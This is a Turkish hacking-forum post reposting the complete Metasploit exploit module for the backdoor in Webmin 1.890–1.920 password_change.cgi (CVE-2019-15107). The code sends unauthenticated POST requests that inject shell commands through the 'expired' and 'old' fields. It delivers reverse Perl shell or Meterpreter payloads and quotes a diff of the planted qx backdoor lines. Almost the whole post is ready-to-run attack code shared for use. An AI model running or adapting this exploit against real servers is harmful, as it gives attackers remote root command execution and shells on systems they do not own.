Hoşgeldin Misafir

Webmin 1.920 password_change.cgi Backdoor Exploit

NasyoneL

NasyoneL

Karanlık Özgürlüktür
25 Ağu 2017
25,060 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Kod:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
 
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
 
  def initialize(info = {})
    super(update_info(info,
      'Name'               => 'Webmin password_change.cgi Backdoor',
      'Description'        => %q{
        This module exploits a backdoor in Webmin versions 1.890 through 1.920.
        Only the SourceForge downloads were backdoored, but they are listed as
        official downloads on the project's site.
 
        Unknown attacker(s) inserted Perl qx statements into the build server's
        source code on two separate occasions: once in April 2018, introducing
        the backdoor in the 1.890 release, and in July 2018, reintroducing the
        backdoor in releases 1.900 through 1.920.
 
        Only version 1.890 is exploitable in the default install. Later affected
        versions require the expired password changing feature to be enabled.
      },
      'Author'             => [
        'AkkuS', # (Özkan Mustafa Akkuş) Discovery and independent module
        'wvu'    # This module and updated information about the backdoor
      ],
      'References'         => [
        ['CVE', '2019-15107'], # y tho
        ['URL', 'http://www.webmin.com/exploit.html'],
        ['URL', 'https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html'],
        ['URL', 'https://blog.firosolutions.com/exploits/webmin/'],
        ['URL', 'https://github.com/webmin/webmin/issues/947']
      ],
      'DisclosureDate'     => '2019-08-10',
      'License'            => MSF_LICENSE,
      'Platform'           => ['unix', 'linux'],
      'Arch'               => [ARCH_CMD, ARCH_X86, ARCH_X64],
      'Privileged'         => true,
      'Targets'            => [
        ['Automatic (Unix In-Memory)',
          'Platform'       => 'unix',
          'Arch'           => ARCH_CMD,
          'Version'        => [
            Gem::Version.new('1.890'), Gem::Version.new('1.920')
          ],
          'Type'           => :unix_memory,
          'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'}
        ],
        ['Automatic (Linux Dropper)',
          'Platform'       => 'linux',
          'Arch'           => [ARCH_X86, ARCH_X64],
          'Version'        => [
            Gem::Version.new('1.890'), Gem::Version.new('1.920')
          ],
          'Type'           => :linux_dropper,
          'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'}
        ]
      ],
      'DefaultTarget'      => 0,
      'Notes'              => {
        'Stability'        => [CRASH_SAFE],
        'Reliability'      => [REPEATABLE_SESSION],
        'SideEffects'      => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
      }
    ))
 
    register_options([
      Opt::RPORT(10000),
      OptString.new('TARGETURI', [true, 'Base path to Webmin', '/'])
    ])
 
    register_advanced_options([
      OptBool.new('ForceExploit', [false, 'Override check result', false])
    ])
  end
 
  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path)
    )
 
    unless res
      vprint_error('Server did not respond')
      return CheckCode::Unknown
    end
 
    version =
      res.headers['Server'].to_s.scan(%r{MiniServ/([\d.]+)}).flatten.first
 
    unless version
      vprint_error('Webmin version not detected')
      return CheckCode::Unknown
    end
 
    version = Gem::Version.new(version)
 
    vprint_status("Webmin #{version} detected")
    checkcode = CheckCode::Detected
 
    unless version.between?(*target['Version'])
      vprint_error("Webmin #{version} is not a supported target")
      return CheckCode::Safe
    end
 
    vprint_good("Webmin #{version} is a supported target")
    checkcode = CheckCode::Appears
 
    res = execute_command("echo #{token}")
 
    unless res
      vprint_error('Webmin did not respond to check command')
      return checkcode
    end
 
    if res.body.include?('Password changing is not enabled!')
      vprint_error('Expired password changing disabled')
      return CheckCode::Safe
    end
 
    if res.body.include?(token)
      vprint_good('Webmin executed a benign check command')
      checkcode = CheckCode::Vulnerable
    else
      vprint_error('Webmin did not execute our check command')
      return CheckCode::Safe
    end
 
    checkcode
  end
 
  def exploit
    # These CheckCodes are allowed to pass automatically
    checkcodes = [
      CheckCode::Appears,
      CheckCode::Vulnerable
    ]
 
    unless checkcodes.include?(check) || datastore['ForceExploit']
      fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
    end
 
    print_status("Configuring #{target.name} target")
 
    case target['Type']
    when :unix_memory
      print_status("Sending #{datastore['PAYLOAD']} command payload")
      vprint_status("Generated command payload: #{payload.encoded}")
 
      res = execute_command(payload.encoded)
 
      if res && datastore['PAYLOAD'] == 'cmd/unix/generic'
        print_warning('Dumping command output in full response body')
 
        if res.body.empty?
          print_error('Empty response body, no command output')
          return
        end
 
        print_line(res.body)
      end
    when :linux_dropper
      print_status("Sending #{datastore['PAYLOAD']} command stager")
      execute_cmdstager
    end
  end
 
=begin
wvu@kharak:~/Downloads$ diff3 webmin-1.{890,930,920}/password_change.cgi
====2
1:1c
3:1c
  #!/usr/bin/perl
2:1c
  #!/usr/local/bin/perl
====1
1:12c
  $in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;
2:12c
3:12c
  $miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
====3
1:40c
2:40c
    $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
3:40c
    $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
====3
1:200c
2:200c
  # Show ok page
3:200c
 
wvu@kharak:~/Downloads$
=end
  def execute_command(cmd, _opts = {})
    send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'password_change.cgi'),
      'headers'   => {'Referer' => full_uri},
      'vars_post' => {
        # 1.890
        'expired' => cmd,
        # 1.900-1.920
        'new1'    => token,
        'new2'    => token,
        'old'     => cmd
      }
    }, 3.5)
  end
 
  def token
    @token ||= Rex::Text.rand_text_alphanumeric(8..42)
  end
 
end
 
#  0day.today [2019-08-24]  #